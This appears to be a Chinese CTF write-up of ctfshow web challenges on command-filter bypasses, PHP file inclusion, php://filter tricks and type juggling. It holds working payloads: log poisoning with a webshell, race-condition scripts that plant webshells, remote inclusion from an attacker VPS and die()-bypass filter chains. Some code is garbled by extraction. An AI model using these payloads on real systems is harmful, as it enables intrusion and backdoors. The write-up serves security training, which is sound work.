简单测一下我们就可以看出波浪号的效果:从结尾开始取
但是这里数字被过滤了,因此我们使用大写字母绕过:
可以发现任意的大小写字母与数字 0 等效
不难想到这里的 $PWD 应该是 /var/www/html(网页服务所在的常见路径);
而 $PATH 的结尾应该也是 /bin(这个在前面我们已经测试过了)。
因此我们可以构造出 nl 命令来读取 flag.php,由于 ? 可用,因此我们可以进行通配,绕过字母的过滤,构造 payload:
Text Only |
---|
| ${PATH:~Q}${PWD:~Q} ????.???
|
当然题目还给了其他 payload:
Text Only |
---|
| ${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
|
在Bash中,${#var} 的语法用于获取变量 var 的长度(即字符数)。
这种形式可以应用于任何变量,无论是字符串变量还是环境变量。
我们知道 ${HOME} 是 /root,因此 ${#HOME} 就是 5。
以此类推,最终将这些数字应用到切片中去,绕过对数字的过滤,构造出我们想要执行的命令。
文件包含
以PHP为例,常用的文件包含函数有以下四种include(),require(),include_once(),require_once()
Web78
php伪协议
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
|
payload:
?file=data://text/plain,<?php system("cat flag.php")?>
查看源代码,得到flag
web79
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:10:14
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
|
这题相对于上一题会将file中的php替换为???
我们可以通过base64进行绕过
Text Only |
---|
| ?file=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
|
or
Text Only |
---|
| ?file=data://text/plain,<?=system('tac flag*');?>
?file=data://text/plain,<?Php echo `tac f*`;?>
|
or
远程加载
加载robots.txt,发现可以回显
在自己vps上创建1.txt,内容如下 <?php system("tac flag.php");?>
起一个http服务,加载 url/?file=http://x.x.x.x:7001/1.txt
or
input协议 大小写绕过
payload:
Text Only |
---|
| POST /?file=Php://input HTTP/1.1
<?Php system("cat flag.php");?>
|
web80
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
|
data协议被ban了
可以用日志注入
Text Only |
---|
| GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: 4e9bb3c0-1021-427e-81a3-42e5e6e13c39.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0<?php eval($_GET[2]);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: UM_distinctid=17ffcdc88eb73a-022664ffe42c5b8-13676d4a-1fa400-17ffcdc88ec82c
Connection: close
|
写入一句话木马
连webshell工具或者直接get传参
Text Only |
---|
| ?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo();
?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo();
|
Or
input协议 大小写绕过
payload:
Text Only |
---|
| POST /?file=Php://input HTTP/1.1
<?Php system("cat flag.php");?>
|
web81
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
|
:被ban了
用不了上题的input,但是还是可以用日志注入的
写入木马
查flag
Web82
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
|
什么是session.upload_progress?
这是一道关于利用session.upload_progress进行文件包含利用的题目
详看:利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户
or bp方法:CTF | 天下武功唯快不破之条件竞争漏洞 - FreeBuf网络安全行业门户
poc1
Python |
---|
| from requests import get, post
from io import BytesIO
from threading import Thread
from urllib.parse import urljoin
URL = 'http://20caa3d5-f3fe-4b17-ba5a-df917a1146ab.challenge.ctf.show/'
PHPSESSID = 'shell'
def write():
code = "<?php file_put_contents('/var/www/html/shell.php', '<?php @eval($_GET[1]);?>');?>"
data = {'PHP_SESSION_UPLOAD_PROGRESS': code}
cookies = {'PHPSESSID': PHPSESSID}
files = {'file': ('xxx.txt', BytesIO(b'x' * 10240))}
while True:
post(URL, data, cookies=cookies, files=files)
def read():
params = {'file': f'/tmp/sess_{PHPSESSID}'}
while True:
get(URL, params)
url = urljoin(URL, 'shell.php')
code = get(url).status_code.real
print(f'{url} {code}')
if code == 200:
exit()
if __name__ == '__main__':
Thread(target=write, daemon=True).start()
read()
|
poc2
PHP |
---|
| import requests
import io
import threading
url='http://9a77fcb3-6f3c-4bd6-a247-07bfe6766509.challenge.ctf.show:8080/'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/jiuzhen.php','<?php eval($_POST[3]);?>');"
}
#这个是访问/tmp/sess_ctfshow时,post传递的内容,是在网站目录下写入一句话木马。这样一旦访问成功,就可以蚁剑连接了。
def write(session):#/tmp/sess_ctfshow中写入一句话木马。
fileBytes = io.BytesIO(b'a'*1024*50)
while True:
response=session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)
def read(session):#访问/tmp/sess_ctfshow,post传递信息,在网站目录下写入木马。
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
cookies={
'PHPSESSID':sessionid
}
)
resposne2=session.get(url+'jiuzhen.php');#访问木马文件,如果访问到了就代表竞争成功
if resposne2.status_code==200:了
print('++++++done++++++')
else:
print(resposne2.status_code)
if __name__ == '__main__':
evnet=threading.Event()
#写入和访问分别设置5个线程。
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
evnet.set()
|
getshell
直接查flag
利用条件
- 存在文件包含漏洞
- 知道session文件存放路径,可以尝试默认路径
- 具有读取和写入session文件的权限
这两个脚本理论上适用于web82-web86
web83
web83的开篇设置了session_unset();session_destroy();
session_unset():释放当前在内存中已经创建的所有\(_SESSION变量,但不删除session文件以及不释放对应的。
session_destroy():删除当前用户对应的session文件以及释放sessionid,内存中的\)_SESSION变量内容依然保留。
就是释放和清除了前面所有session变量和文件,但是我们的解题思路是竞争上传那一瞬间创建的session,所以不影响。
web84
加上了一个system(rm -rf /tmp/*);
,但是因为本来session.upload_progress.cleanup = on,就会清空对应session文件中的内容,这里加上删除,对竞争的影响不大。(但是可能需要增加一些线程)
web85
添加了一个内容识别,如果有<就die,依旧可以竞争。
web86
dirname(FILE)表示当前文件的绝对路径。set_include_path函数,是用来设置include的路径的,就是include()可以不提供文件的完整路径了。
include文件时,当包含路径既不是相对路径,也不是绝对路径时(如:include(“test.php”)),会先查找include_path所设置的目录。
脚本里用的是完整路径,不影响竞争。
web82-86:参考https://blog.csdn.net/m0_48780534/article/details/125410757
web87
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
|
使用 file_put_contents
函数将经过处理后的内容写入到文件中。写入的内容是先拼接了一个 <?php die('大佬别秀了');?>
字符串,用于在后续如果有人直接访问写入后的文件时,防止文件内容被直接执行而显示一些提示信息,然后再拼接上从 $_POST
中获取的 $content
变量的值。
这道题需要用到php://filter
php://filter的使用
原文:谈一谈php://filter的妙用 | 离别歌
php://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name
。其原因是,PHP是基于标签的脚本语言,<?php ... ?>
这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。
那么,为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter。
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:
Text Only |
---|
| readfile("php://filter/read=convert.base64-encode/resource=php://input");
|
如下:
所以,在XXE中,我们也可以将PHP等容易引发冲突的文件流用php://filter协议流处理一遍,这样就能有效规避特殊字符造成混乱。
如下,我们使用的是php://filter/read=convert.base64-encode/resource=./xxe.php
回归正题
我们审一下这道题目的代码
相比上一道题这题增加了一个post参数,且会将传入的参数进行拼接后写入文件
PHP |
---|
| $content = $_POST['content'];
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
|
这道题在$content
和$file
之间拼接了一个<?php die('大佬别秀了');?>,导致即使我们成功写入一句话,也执行不了
我们如何绕过这个die呢?
其实我们可以通过php://filter流的base64-decode方法来去除这个die
因为php在解码base64编码的时候会先将不属于base64中的字符去除,再进行转换,如下
PHP |
---|
| <?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
|
所以,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、、(、) 、'空格等字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpdie”和我们传入的其他字符。
”phpdie“
一共6个字符,由于base64算法解码时是4个byte一组,所以给他增加2个“a”一共8个字符。这样,"phpdie"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。
同时由于会对传入的file进行url解码,所以需要对传入的file进行两次url编码
warning!!!url编码需要连同英文字符一起进行转换,可以借助hackbar强制进行转换(找了很久)
poc:
Text Only |
---|
| 原文:file=php://filter/write=convert.base64-decode/resource=shell.php
file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30
|
Text Only |
---|
| 原文:content=<?php system('cat fl0g.php');?>
content=aaPD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTs/Pg==
|
访问shell.php,得到flag
其实还可以通过其他编码来进行绕过如rot13
更多file_put_content和死亡·杂糅代码之缘 - 先知社区
web88
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
|
这题过滤了很多字符但是没有过滤:、/、;
poc
Text Only |
---|
| ?file=data://text/plain;base64,PD89c3lzdGVtKCJ0YWMgZmwwZy5waHAiKTsgPz4
|
web116
拿到题目环境,发现是个视频,下载视频用binwalk扫一下
提取图片,发现是源码
直接get传参读flag
web117
web87的后续 死亡绕过
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 18:16:59
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
|
这题过滤了一些php的协议和转换器
但是没过滤掉filter和convert
我们可以考虑用filter搭配convert.iconv.*过滤器来构造出payload
参考文章:详解php://filter以及死亡绕过_filter绕过过滤-CSDN博客
PHP |
---|
| <?php
$enc = iconv("UCS-2BE","UCS-2LE", '<?php @eval($_GET[1]);?>');
echo $enc;
?>
|
首先我们先将一句话木马从UCS-2BE转换成UCS-2LE
接着构造payload将一句话木马从UCS-2LE转换回UCS-2BE,同时破坏掉<?php die();?>
效果如下
payload:
Text Only |
---|
| file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
contents=?<hp pe@av(l_$EG[T]1;)>?
|
成功写入一句话木马,拿到flag
php特性
参考网站:
php一些特性函数(ctfshow)
web89
PHP |
---|
| <?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-16 11:25:09
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-18 15:38:51
\# @email: [email protected]
\# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
|
这题要用到数组绕过的特性来绕过preg_match的匹配
preg_match函数:
preg_match函数是用于完成字符串的正则匹配的函数,如果找到一个匹配的,就返回1,否则就返回0。
preg_match只能处理字符串,如果传入的值是数组的话,就会报错,从而返回false,绕过了正则匹配。
intval函数:
1.如果变量本身是整数,intval()
函数会返回变量本身的值。
2.当变量是字符串时,intval()
会尝试将字符串转换为整数。它会从字符串的开头提取数字部分,直到遇到非数字字符为止。
3.如果字符串以非数字字符开头,intval()
会返回 0。
4.当第二个参数$base
被指定时,intval()
可以将字符串按照指定的进制转换为十进制整数。
1.对于浮点数,intval()
会直接截断小数部分,而不是进行四舍五入。
2.当处理超出整数范围的值时(在 PHP 中,根据平台和配置不同,整数范围有所不同),可能会出现意外的结果。例如,在 32 位系统上,int
类型的最大值是2147483647
,如果intval()
处理的值超过这个范围,可能会导致数据丢失或者不正确的转换。
这道题直接用数组绕过
payload:
web90
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: [email protected]
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
|
设置$base = 0
能提供一种根据字符串内容自动判断进制来进行转换的灵活方式。
这道题可以利用intval的特性和php强比较的特性
当变量是字符串时,intval()
会尝试将字符串转换为整数。它会从字符串的开头提取数字部分,直到遇到非数字字符为止。
web91
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com
*/
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
|
这题考察的是一个正则表达式的理解和绕过
这两个正则表达式都是用来匹配字符串php的
/^php$/im
的含义
^
:表示字符串的开始。
php
:表示匹配字符 php
。
$
:表示字符串的结束。
i
:表示不区分大小写。
m
:表示多行模式(multi-line)。
要得到flag,我们需要让第一个判断为true,第二个判断为false
而第二个正则表达式与正则表达式一的区别在于他没有进行多行匹配
那我们只需要通过换行符就可以实现绕过
payload:
web92
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
|
这题与90题的区别就在于这里进行的是弱类型的比较
在弱类型的比较里面我们不能通过增加字母的方式绕过,如下
Text Only |
---|
| "123aa" == 123
"123aa" === 123aa
|
我们可以通过其它方法来绕过
如通过intval函数的特性,我们可以通过输入转换成其他进制的4476来进行绕过(前面说过当base=0时会自动进行进制的转换)。
payload:
Text Only |
---|
| HEX: 0x117c //十进制前面补0x
OCT: 010574 //八进制前面补0
|
或者
官方题解
intval()函数如果\(base为0则\)var中存在字母的话遇到字母就停止读取,但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476,我们就可以构造 4476e123
web93
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
|
Text Only |
---|
| preg_match("/[a-z]/i", $num)
|
相比上一题这题增加了一个字母的匹配,让我们不能用上一题e绕过的方法和十六进制绕过的方法
但是八进制绕过依旧是可行的,因为他不包含字母
payload:
web94
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
|
这题增加了一个条件,同时判断也变成了强判定,这里的strpos()
函数用于查找字符串在另一个字符串中首次出现的位置。
也就是这里我们需要让首位不等于0才能使这个判断为false
strops函数绕过:
对于strpos()函数,我们可以利用换行进行绕过(%0a)
payload:?num=%0a010574
也可以小数点绕过
payload:?num=4476.0
因为intval()函数只读取整数部分
还可以八进制绕过(%20是空格的url编码形式)
payload:?num=%20010574
?num= 010574 // 前面加个空格
?num=+010574
?num=+4476.0
我们选用其中一个绕过方法即可
如空格绕过
这题因为用的是强判定也可以用这种方法
这种方法就是使其变为浮点型从而使强判定为false,绕过第一个判定
web95
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
|
这题和上一题的区别就是改为了弱判定
所以上一题的方法二就用不了了,我们用方法一即可
payload:
web96
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
|
我们知道./指的的是当前目录,所以直接用./绕过即可,不影响文件读取
payload:
or
Text Only |
---|
| u=/var/www/html/flag.php
?u=php://filter/read=convert.base64-encode/resource=flag.php
|
web97
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
|
这是一道md5强比较的题目,绕过姿势挺多
我们可以通过简单的数组绕过
虽然会报错但是能拿到flag
web98
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com
*/
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
|
CTFSHOW web入门刷题 web98-112_ctfshow web98-CSDN博客
这道题用到了三元运算符
首先判断是否GET传入了数据,如果传入了则将POST的地址赋值给了GET
其实就是用POST替换GET
如果GET存在flag字段的值则会继续替换,最后替换成SERVER
这里我们只要GET随便传入一个数据让post替换get
然后post传入 HTTP_FLAG=flag
这样最后highlight_file就能去显示$flag
这道题一开始没看懂代码,看了上面大佬的解释感觉其实也不难
web99
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
($_GET['n'], $_POST['content']);
}
?>
|
这道题首先是创建了一个数组,然后通过循环写入数字(范围0~0x36d)
接着对传入的n进行判断,判断其是否在数组中,若存在则以n为名字创建一个文件并写入content的内容
我们需要知道的是:
在弱类型中当php字符串和int比较时,字符串会被转换成int,所以 字符串中数字后面的字符串会被忽略。题目中的in_array没有设置type,我们可以输入字符串5.php(此处数字随意,只要在rand(1,0x36d)之间即可),转换之后也就是5,明显是在题目中生成的数组中的
所以我们通过传入content写马后,通过蚁剑连接或者直接命令执行即可得到flag
web100
PHP |
---|
| <?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-16 11:25:09
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-21 22:10:28
\# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
|
这题其实就是一道简单的拼接题
Text Only |
---|
| $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
|
这里看起来像是要求v1,v2,v3都为数字,实际上只需v1为数字则会将v1赋给v0,而不会再执行后面的语句
所以我们这里只需要使v1为数字即可
payload:
Text Only |
---|
| ?v1=21&v2=var_dump($ctfshow)/*&v3=*/;
|
或者用命令
COBOL |
---|
| ?v1=1&v2=system('ls')/*&v3=*/;
|
将0x2d更换成-得到flag
web101
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
|
题目描述:修补100题非预期,替换0x2d
修补了上一题通过直接命令执行或者var_dump打印类的方法
我们可以尝试使用反射类的方法,利用题目给出的('ctfshow')
来拼接打印类
payload:
Text Only |
---|
| ?v1=1&v2=echo new Reflectionclass&v3=;
|
这道题的flag少了一位,在得到的flag在替换掉0x2d后,再进行爆破即可得到flag
payload:
Python |
---|
| a = "fa2a169a0x2da0820x2d40f30x2da5cd0x2d65ce0d29b42"
b = a.replace("0x2d","-")
hex = ["1","2","3","4","5","6","7","8","9","a","b","c","d","e"]
for i in hex:
print("ctfshow{"+b+i+"}")
|
web102
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 20:59:43
*/
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
|
分析一下这段代码
首先这段代码会接收三个参数v1,v2,v3
根据php的特性,当\(v2为数字时\)v4就会被赋值为1,而与$v3的值无关
所以想要进入判断,我们首先要使v2为数字
接着会通过substr对v2前两段进行截断并赋值给s
下一步就会将v1和s都传入call_user_func函数
call_user_func函数有什么用呢?
call_user_func
是 PHP 中的一个内置函数,它的主要作用是调用回调函数。
Text Only |
---|
| function greet($name) {
return "Hello, $name!";
}
$message = call_user_func('greet', 'John');
echo $message;
|
我们先不管他怎么利用,接着往下看
最后会调用file_put_contents函数,那思路就很明显了,我们通过写文件来拿到flag
但是我们要将v2这一串数字经过一系列转换后写入文件并执行要怎么做呢?
假如说我们可以将php代码转换成base64后再转换成hex,而得到的hex又刚好为数字,那我们就能实现我们的目标。
那怎么进行格式转换呢?
我们可以通过call_user_func函数调用php的内置类hex2bin,将我们传入的v2转换回base64编码,接着在写文件的时候,再通过php伪协议的方式将base64先转换为我们的代码再写入文件。
经过尝试我们可以得到符合条件的代码
Text Only |
---|
| <?=`cat *`;
base64:PD89YGNhdCAqYDs= (转hex去掉=)
hex:5044383959474E6864434171594473
|
我们需要在hex前面随便加两位数字来绕过截断
payload:
Text Only |
---|
| v1=hex2bin
v2=665044383959474E6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
|
web103
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 21:03:24
*/
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
|
这题相比上一题多了一个过滤
Text Only |
---|
| if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
|
继续用上题的方法即可
payload:
Text Only |
---|
| v1=hex2bin
v2=665044383959474E6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
|
web104
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:27:20
*/
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
